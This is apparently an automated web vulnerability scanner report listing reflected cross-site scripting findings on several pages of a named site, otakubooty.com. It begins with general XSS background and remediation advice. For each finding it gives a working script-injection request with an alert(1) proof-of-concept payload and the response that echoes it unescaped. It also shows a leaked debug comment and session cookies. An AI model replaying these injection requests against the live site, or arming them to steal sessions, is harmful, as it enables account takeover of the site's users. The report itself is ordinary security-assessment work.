Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the login request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72e40"><script>alert(1)</script>e1430befcb2e74bb5 was submitted in the login parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the login request parameter is copied into an HTML comment. The payload 9773a--><script>alert(1)</script>8fb4053a2af was submitted in the login parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Cache-Control: private Date: Fri, 11 Feb 2011 21:29:32 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: password=; path=/ Vary: Accept-Encoding Content-Length: 32284
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] Logging in via form. username=9773a--><script>alert(1)</script>8fb4053a2af -->
<!-- SUPER SECRET DEBUG OUTPUT [ProcessLoginRS] Login result: ...[SNIP]...
1.3. http://otakubooty.com/Default.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/Default.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5011"><script>alert(1)</script>76b5e899461 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Default.asp??a5011"><script>alert(1)</script>76b5e899461=1 HTTP/1.1 Host: otakubooty.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Fri, 11 Feb 2011 19:29:47 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: password=; path=/ Set-Cookie: ASPSESSIONIDASBCQBRR=FELOGNJCMJCBMPLBCMMHHOKN; path=/ Vary: Accept-Encoding Content-Length: 33857
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: OtakuBo ...[SNIP]... <a href="/Default.asp??a5011"><script>alert(1)</script>76b5e899461=1&fa=nf"> ...[SNIP]...
1.4. http://otakubooty.com/oa.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/oa.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5243f"><script>alert(1)</script>8b6b5d9edb2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /oa.asp?5243f"><script>alert(1)</script>8b6b5d9edb2=1 HTTP/1.1 Host: otakubooty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ASPSESSIONIDASBCQBRR=MDLOGNJCOIKEIJDIDEJPCJOI; __utmz=96346818.1297452653.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=96346818.797814522.1297452653.1297452653.1297452653.1; __utmc=96346818; __utmb=96346818.1.10.1297452653; password=;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 11 Feb 2011 21:10:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 13331 Content-Type: text/html Set-Cookie: password=; path=/ Cache-control: private
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. -->
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http ...[SNIP]... <form action="/oa.asp?5243f"><script>alert(1)</script>8b6b5d9edb2=1" method=POST> ...[SNIP]...
1.5. http://otakubooty.com/of.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/of.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1815c"><script>alert(1)</script>41682778012 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /of.asp?1815c"><script>alert(1)</script>41682778012=1 HTTP/1.1 Host: otakubooty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ASPSESSIONIDASBCQBRR=MDLOGNJCOIKEIJDIDEJPCJOI; __utmz=96346818.1297452653.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=96346818.797814522.1297452653.1297452653.1297452653.1; __utmc=96346818; __utmb=96346818.1.10.1297452653; password=;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 11 Feb 2011 21:10:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 37053 Content-Type: text/html Set-Cookie: password=; path=/ Cache-control: private
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: Gen. Ch ...[SNIP]... <a href="/of.asp?1815c"><script>alert(1)</script>41682778012=1&fa=nf"> ...[SNIP]...
1.6. http://otakubooty.com/otaku_help.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/otaku_help.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a456"><script>alert(1)</script>d7ef83a91a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /otaku_help.asp?3a456"><script>alert(1)</script>d7ef83a91a7=1 HTTP/1.1 Host: otakubooty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ASPSESSIONIDASBCQBRR=MDLOGNJCOIKEIJDIDEJPCJOI; __utmz=96346818.1297452653.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=96346818.797814522.1297452653.1297452653.1297452653.1; __utmc=96346818; __utmb=96346818.1.10.1297452653; password=;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 11 Feb 2011 21:13:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 851287 Content-Type: text/html Set-Cookie: password=; path=/ Cache-control: private
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: Info, H ...[SNIP]... <a href="/otaku_help.asp?3a456"><script>alert(1)</script>d7ef83a91a7=1&fa=nf"> ...[SNIP]...
The value of the tab request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 517ef"><script>alert(1)</script>0f370775ea6 was submitted in the tab parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /otaku_help.asp?tab=mailpassword517ef"><script>alert(1)</script>0f370775ea6 HTTP/1.1 Host: otakubooty.com Proxy-Connection: keep-alive Referer: http://otakubooty.com/Default.asp Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=96346818.1297459802.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; ASPSESSIONIDASBCQBRR=CPAPGNJCGFADCFPPEODBKAFD; password=; __utma=96346818.797814522.1297452653.1297452653.1297459802.2; __utmc=96346818; __utmb=96346818.3.10.1297459802
Response
HTTP/1.1 200 OK Cache-Control: private Date: Fri, 11 Feb 2011 21:30:02 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: password=; path=/ Vary: Accept-Encoding Content-Length: 851753
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: Info, H ...[SNIP]... <a href="/otaku_help.asp?tab=mailpassword517ef"><script>alert(1)</script>0f370775ea6&fa=nf"> ...[SNIP]...
1.8. http://otakubooty.com/otaku_news.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/otaku_news.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1ea6"><script>alert(1)</script>6181d9322cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /otaku_news.asp?d1ea6"><script>alert(1)</script>6181d9322cf=1 HTTP/1.1 Host: otakubooty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ASPSESSIONIDASBCQBRR=MDLOGNJCOIKEIJDIDEJPCJOI; __utmz=96346818.1297452653.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=96346818.797814522.1297452653.1297452653.1297452653.1; __utmc=96346818; __utmb=96346818.1.10.1297452653; password=;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 11 Feb 2011 21:10:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 34038 Content-Type: text/html Set-Cookie: password=; path=/ Cache-control: private
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: OtakuBo ...[SNIP]... <a href="/otaku_news.asp?d1ea6"><script>alert(1)</script>6181d9322cf=1&fa=nf"> ...[SNIP]...
1.9. http://otakubooty.com/otaku_search.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/otaku_search.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24821"><script>alert(1)</script>ceffb1b07c0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /otaku_search.asp?24821"><script>alert(1)</script>ceffb1b07c0=1 HTTP/1.1 Host: otakubooty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ASPSESSIONIDASBCQBRR=MDLOGNJCOIKEIJDIDEJPCJOI; __utmz=96346818.1297452653.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=96346818.797814522.1297452653.1297452653.1297452653.1; __utmc=96346818; __utmb=96346818.1.10.1297452653; password=;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 11 Feb 2011 21:11:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 23480 Content-Type: text/html Set-Cookie: password=; path=/ Cache-control: private
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: Find Me ...[SNIP]... <a href="/otaku_search.asp?24821"><script>alert(1)</script>ceffb1b07c0=1&fa=nf"> ...[SNIP]...
1.10. http://otakubooty.com/otaku_signup.asp [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/otaku_signup.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b9a5"><script>alert(1)</script>6c4c802194a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /otaku_signup.asp?5b9a5"><script>alert(1)</script>6c4c802194a=1 HTTP/1.1 Host: otakubooty.com Proxy-Connection: keep-alive Referer: http://otakubooty.com/otaku_help.asp?tab=mailpassword Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=96346818.1297459802.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; ASPSESSIONIDASBCQBRR=CPAPGNJCGFADCFPPEODBKAFD; password=; __utma=96346818.797814522.1297452653.1297452653.1297459802.2; __utmc=96346818; __utmb=96346818.4.10.1297459802
Response
HTTP/1.1 200 OK Cache-Control: private Date: Fri, 11 Feb 2011 21:29:44 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: password=; path=/ Vary: Accept-Encoding Content-Length: 19433
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: Join Ot ...[SNIP]... <a href="/otaku_signup.asp?5b9a5"><script>alert(1)</script>6c4c802194a=1&fa=nf"> ...[SNIP]...